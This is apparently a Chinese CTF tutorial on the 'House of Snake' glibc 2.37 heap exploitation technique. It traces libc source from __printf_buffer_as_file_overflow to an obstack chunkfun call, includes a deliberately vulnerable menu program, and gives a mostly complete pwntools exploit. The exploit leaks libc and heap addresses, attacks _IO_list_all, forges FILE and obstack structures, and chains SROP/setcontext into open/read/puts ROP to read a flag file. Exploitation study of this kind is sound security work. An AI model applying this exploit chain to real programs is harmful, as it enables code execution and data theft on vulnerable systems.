House of Snake

源码

glibc-2.37 删除了 _IO_obstack_jumps 但是添加了 _IO_printf_buffer_as_file_jumps 这个新的 _IO_jumps_t 结构体。 _IO_printf_buffer_as_file_jumps 中只有 __printf_buffer_as_file_overflow 和 __printf_buffer_as_file_xsputn 两个函数,而 House of Snake 利用的是 __printf_buffer_as_file_overflow 函数。

static const struct _IO_jump_t _IO_printf_buffer_as_file_jumps libio_vtable =
{
  JUMP_INIT_DUMMY,
  JUMP_INIT(finish, NULL),
  JUMP_INIT(overflow, __printf_buffer_as_file_overflow),
  JUMP_INIT(underflow, NULL),
  JUMP_INIT(uflow, NULL),
  JUMP_INIT(pbackfail, NULL),
  JUMP_INIT(xsputn, __printf_buffer_as_file_xsputn),
  JUMP_INIT(xsgetn, NULL),
  JUMP_INIT(seekoff, NULL),
  JUMP_INIT(seekpos, NULL),
  JUMP_INIT(setbuf, NULL),
  JUMP_INIT(sync, NULL),
  JUMP_INIT(doallocate, NULL),
  JUMP_INIT(read, NULL),
  JUMP_INIT(write, NULL),
  JUMP_INIT(seek, NULL),
  JUMP_INIT(close, NULL),
  JUMP_INIT(stat, NULL),
  JUMP_INIT(showmanyc, NULL),
  JUMP_INIT(imbue, NULL)
};

__printf_buffer_as_file_overflow 函数定义如下:

static inline bool __attribute_warn_unused_result__
__printf_buffer_has_failed(struct __printf_buffer *buf) {
    return buf->mode == __printf_buffer_mode_failed;
}

static int
__printf_buffer_as_file_overflow(FILE *fp, int ch) {
    struct __printf_buffer_as_file *file = (struct __printf_buffer_as_file *) fp;

    __printf_buffer_as_file_commit(file);

    /* EOF means only a flush is requested.   */
    if (ch != EOF)
        __printf_buffer_putc(file->next, ch);

    /* Ensure that flushing actually produces room.  */
    if (!__printf_buffer_has_failed(file->next)
        && file->next->write_ptr == file->next->write_end)
        __printf_buffer_flush(file->next);

    ...
}

首先 __printf_buffer_as_file_overflow函数将 FILE 结构体转换为 __printf_buffer_as_file 类型,相关定义如下:

struct __printf_buffer
{
  char *write_base;
  char *write_ptr;
  char *write_end;
  uint64_t written;
  enum __printf_buffer_mode mode;
};

struct __printf_buffer_as_file
{
  /* Interface to libio.  */
  FILE stream;
  const struct _IO_jump_t *vtable;

  /* Pointer to the underlying buffer.  */
  struct __printf_buffer *next;
};

之后调用了 __printf_buffer_as_file_commit ,该函数做了一些检查:

static void
__printf_buffer_as_file_commit (struct __printf_buffer_as_file *file)
{
  /* Check that the write pointers in the file stream are consistent
     with the next buffer.  */
  assert (file->stream._IO_write_ptr >= file->next->write_ptr);
  assert (file->stream._IO_write_ptr <= file->next->write_end);
  assert (file->stream._IO_write_base == file->next->write_base);
  assert (file->stream._IO_write_end == file->next->write_end);

  file->next->write_ptr = file->stream._IO_write_ptr;
}

之后根据参数 ch 是否为 EOF 决定是否调用 __printf_buffer_putc 。FSOP 中调用的 _IO_flush_all_lockp 函数中是通过 _IO_OVERFLOW (fp, EOF) 调用到 vtable 中的 overflow 函数,因此 __printf_buffer_as_file_overflow 的参数 ch 为 EOF 。 当然,即使调用到了 __printf_buffer_putc 也只是是做了一些指针记录的数值加减的操作,对此我们不用过多关注。

再之后会调用 __printf_buffer_flush 函数,调用条件是 file->next.mode != __printf_buffer_mode_failed 且 file->next->write_ptr == file->next->write_end 。

__printf_buffer_flush 函数定义如下,这里再次检查 file->next.mode != __printf_buffer_mode_failed 然后调用 __printf_buffer_do_flush 函数,参数为 file->next 。

#define Xprintf(n) __printf_##n
#define Xprintf_buffer_flush Xprintf (buffer_flush)
#define Xprintf_buffer Xprintf (buffer)

bool
Xprintf_buffer_flush (struct Xprintf_buffer *buf)
{
  if (__glibc_unlikely (Xprintf_buffer_has_failed (buf)))
    return false;

  Xprintf (buffer_do_flush) (buf); // __printf_buffer_do_flush(buf)
  ...
}

如果 file->next.mode = __printf_buffer_mode_obstack(11) 那么会调用 __printf_buffer_flush_obstack 函数。

static void
__printf_buffer_do_flush (struct __printf_buffer *buf)
{
  switch (buf->mode)
    {
    ...
    case __printf_buffer_mode_obstack:
      __printf_buffer_flush_obstack ((struct __printf_buffer_obstack *) buf);
      return;
    }
  ...
}

这里 __printf_buffer_obstack 结构体定义如下:

struct __printf_buffer_obstack
{
  struct __printf_buffer base;
  struct obstack *obstack;
  char ch;
};

如果满足 buf->base.write_ptr == &buf->ch + 1 则 __printf_buffer_flush_obstack 会执行 obstack_1grow 宏。

void
__printf_buffer_flush_obstack (struct __printf_buffer_obstack *buf)
{
  ...
  if (buf->base.write_ptr == &buf->ch + 1)
    {
      obstack_1grow (buf->obstack, buf->ch);
      ...
    }
    ...
}

obstack_1grow 宏展开内容如下,可以看到该宏调用了 _obstack_newchunk 函数并将 buf->obstack 作为参数传入。

声明位置: obstack.h 
定义: 
# define obstack_1grow(OBSTACK, datum)                          \
  __extension__                                      \
    ({ struct obstack *__o = (OBSTACK);                          \
       if (__o->next_free + 1 > __o->chunk_limit)                  \
     _obstack_newchunk (__o, 1);                          \
       obstack_1grow_fast (__o, datum);                          \
       (void) 0; })
替换: 
({
    struct obstack *__o = (buf->obstack);
    if (__o->next_free + 1 > __o->chunk_limit)_obstack_newchunk(__o, 1);
    (*((__o)->next_free)++ = (buf->ch));
    (void) 0;
})

_obstack_newchunk 函数会执行 CALL_CHUNKFUN 宏,这和前面的 House of 琴瑟琵琶利用链相同。

void
_obstack_newchunk (struct obstack *h, int length)
{
  ...
  struct _obstack_chunk *new_chunk;
  ...
  new_chunk = CALL_CHUNKFUN (h, new_size);
  ...
}

回顾一下整个分析过程并将所有相关结构体,并都看成 __printf_buffer_as_file 结构体,有以下条件:

  • 在__printf_buffer_as_file_overflow函数中:
    • file->next->mode!=__printf_buffer_mode_failed && file->next->write_ptr == file->next->write_end
  • 在__printf_buffer_as_file_commit函数中:
    • file->stream._IO_write_ptr >= file->next->write_ptr
    • file->stream._IO_write_ptr <= file->next->write_end
    • file->stream._IO_write_base == file->next->write_base
    • file->stream._IO_write_end == file->next->write_end
  • 在__printf_buffer_flush函数中:
    • file->next->mode =__printf_buffer_mode_obstack
  • 在__printf_buffer_flush_obstack函数中:
    • buf->base.write_ptr == &buf->ch + 1 <==> file->next.write_ptr == &(file->next) + 0x30 + 1
  • 在obstack_1grow宏定义中:
    • (struct __printf_buffer_obstack *) file->obstack->next_free + 1 > (struct __printf_buffer_obstack *) file->obstack->chunk_limit
    • (h)->use_extra_arg 不为 0 <==> (struct __printf_buffer_obstack *) file->obstack->use_extra_arg != 0

最终调用 (struct __printf_buffer_obstack *) file->obstack->chunkfun((struct __printf_buffer_obstack *) file->obstack->extra_arg) 。

具体构造如下图所示:

构造模版

#include<stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h>

char *chunk_list[0x100];

#define puts(str) write(1, str, strlen(str)), write(1, "\n", 1)

void menu() {
    puts("1. add chunk");
    puts("2. delete chunk");
    puts("3. edit chunk");
    puts("4. show chunk");
    puts("5. exit");
    puts("choice:");
}

int get_num() {
    char buf[0x10];
    read(0, buf, sizeof(buf));
    return atoi(buf);
}

void add_chunk() {
    puts("index:");
    int index = get_num();
    puts("size:");
    int size = get_num();
    chunk_list[index] = malloc(size);
}

void delete_chunk() {
    puts("index:");
    int index = get_num();
    free(chunk_list[index]);
}

void edit_chunk() {
    puts("index:");
    int index = get_num();
    puts("length:");
    int length = get_num();
    puts("content:");
    read(0, chunk_list[index], length);
}

void show_chunk() {
    puts("index:");
    int index = get_num();
    puts(chunk_list[index]);
}

int main() {
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);

    while (1) {
        menu();
        int choice = get_num();
        switch (choice) {
            case 1:
                add_chunk();
                break;
            case 2:
                delete_chunk();
                break;
            case 3:
                edit_chunk();
                break;
            case 4:
                show_chunk();
                break;
            case 5:
                exit(0);
            default:
                puts("invalid choice.");
        }
    }
}
add(0, 0x418)
add(1, 0x18)
add(2, 0x428)
add(3, 0x18)

free(2)
free(0)

edit(2, 'a')
show(2)
libc.address = u64(io.recvuntil(b'\x7F')[-6:].ljust(8, b'\x00')) - (libc.sym['main_arena'] + 96 + ord('a'))
info("libc base: " + hex(libc.address))
edit(2, b'\x00')

show(0)
heap_base = u64(io.recvuntil((b'\x55\x55'))[-6:].ljust(8, b'\x00')) & ~0xFFF
info("heap base: " + hex(heap_base))

add(0, 0x418)

edit(2, p64(0) * 3 + p64(libc.sym['_IO_list_all'] - 0x20))
free(0)
add(0, 0x408)
edit(2, p64(libc.sym['main_arena'] + 1104) * 2 + p64(heap_base + 0x6d0) * 2)
add(2, 0x428)

我们之间从伪造fake io来看

file_addr = heap_base + 0x6d0
payload_addr = file_addr + 0x10
frame_addr = file_addr + 0x168
rop_addr = frame_addr + 0xf8
buf_addr = rop_addr + 0x60

obstack_addr = file_addr + 0x110
ch_1_addr = obstack_addr + 8 + 1
fake_file = b""
fake_file += p64(1)  # _IO_read_end
fake_file += p64(0)  # _IO_read_base
fake_file += p64(0)  # _IO_write_base
fake_file += p64(ch_1_addr)  # _IO_write_ptr
fake_file += p64(ch_1_addr)  # _IO_write_end
fake_file += p64(0)  # _IO_buf_base
fake_file += p64(0)  # _IO_buf_end
fake_file += p64(0) * 4  # from _IO_save_base to _markers
fake_file += p64(0)  # the FILE chain ptr
fake_file += p32(2)  # _fileno for stderr is 2
fake_file += p32(0)  # _flags2, usually 0
fake_file += p64(frame_addr)  # _old_offset
fake_file += p16(1)  # _cur_column
fake_file += b"\x00"  # _vtable_offset
fake_file += b"\n"  # _shortbuf[1]
fake_file += p32(0)  # padding
fake_file += p64(libc.sym['_IO_2_1_stdout_'] + 0x1ea0)  # _IO_stdfile_1_lock
fake_file += p64(0xFFFFFFFFFFFFFFFF)  # _offset, -1
fake_file += p64(0)  # _codecvt, usually 0
fake_file += p64(file_addr + 0x10)  # _IO_wide_data_1
fake_file += p64(0) * 3  # from _freeres_list to __pad5
fake_file += p32(0xFFFFFFFF)  # _mode, usually -1
fake_file += b"\x00" * 19  # _unused2
fake_file = fake_file.ljust(0xD8 - 0x10, b'\x00')  # adjust to vtable
fake_file += p64(libc.address + 0x1d2ae0)  # fake vtable
fake_file += p64(file_addr + 0xe8)  # next
fake_file += p64(0)  # write_base
fake_file += p64(0)  # write_ptr
fake_file += p64(ch_1_addr)  # write_end
fake_file += p64(0)  # written
fake_file += p64(11)  # mode
fake_file += p64(obstack_addr)  # obstack
fake_file += p64(0) * 6
fake_file += p64(next(libc.search(asm('mov rdx, [rdi+0x8]; mov [rsp], rax; call qword ptr [rdx+0x20];'), executable=True)))  # chunkfun
fake_file += p64(0)  # freefun
fake_file += p64(frame_addr)  # extra_arg
fake_file += p8(1)  # use_extra_arg

直接从_IO_flush_all函数开始往后跟着调一下

这个时候的io被改成了我们伪造的样子

虚表被换成了__printf_buffer_as_file_overflow函数,这样接下来就会调用它

这个时候rsi里面是0xfffffff,也就是说传入的是一个EOF,和上面的利用条件是相符的

也就代表着会被强制转为next,而next里面被我们伪造成了__printf_buffer_mode_obstack,至于是怎么伪造的,大家可以跟着上面的源码,看看io结构体即可,这些伪造之后会进入很多判断,这里不一一展示,最后都是可以绕过去的

接着会来到__printf_buffer_flush函数,参数就是伪造的fake_io加0xe8的位置

随后进入__printf_buffer_flush_obstack函数,就会多一节数据

pwndbg> p *buf
$8 = {
  base = {
    write_base = 0x0,
    write_ptr = 0x55555687a7e9 "",
    write_end = 0x55555687a7e9 "",
    written = 0,
    mode = __printf_buffer_mode_obstack
  },
  obstack = 0x55555687a7e0,
  ch = 0 '\000'
}
pwndbg> p *buf->obstack
$9 = {
  chunk_size = 93825012312032,
  chunk = 0x0,
  object_base = 0x0,
  next_free = 0x0,
  chunk_limit = 0x0,
  temp = {
    tempint = 0,
    tempptr = 0x0
  },
  alignment_mask = 0,
  chunkfun = 0x7fb864303ad0 <getkeyserv_handle+528>,
  freefun = 0x0,
  extra_arg = 0x55555687a838,
  use_extra_arg = 1,
  maybe_empty_object = 0,
  alloc_failed = 0
}

而chunkfun的这个位置就是magic gadget,最后附上剩下的exp

frame = SigreturnFrame()
frame.rdi = buf_addr
frame.rsi = 0
frame.rsp = rop_addr
frame.rip = libc.sym['open']

frame = bytearray(bytes(frame))
frame[8:8 + 8] = p64(frame_addr)
frame[0x20:0x20 + 8] = p64(libc.sym['setcontext'] + 61)
frame = bytes(frame)

# ROP chain
rop = b""
rop += p64(next(libc.search(asm('pop rdi; ret;'), executable=True)))
rop += p64(3)
rop += p64(next(libc.search(asm('pop rsi; ret;'), executable=True)))
rop += p64(buf_addr)
rop += p64(next(libc.search(asm('pop rdx; pop r12; ret;'), executable=True)))
rop += p64(0x100)
rop += p64(0)
rop += p64(libc.sym['read'])
rop += p64(next(libc.search(asm('pop rdi; ret;'), executable=True)))
rop += p64(buf_addr)
rop += p64(libc.sym['puts'])

# Construct full payload
payload = b""
payload += fake_file
payload = payload.ljust(frame_addr - payload_addr, b'\x00')
payload += frame
payload = payload.ljust(rop_addr - payload_addr, b'\x00')
payload += rop
payload = payload.ljust(buf_addr - payload_addr, b'\x00')
payload += b'./flag\x00'

edit(2, payload)
io.sendafter("choice:", "5")
io.interactive()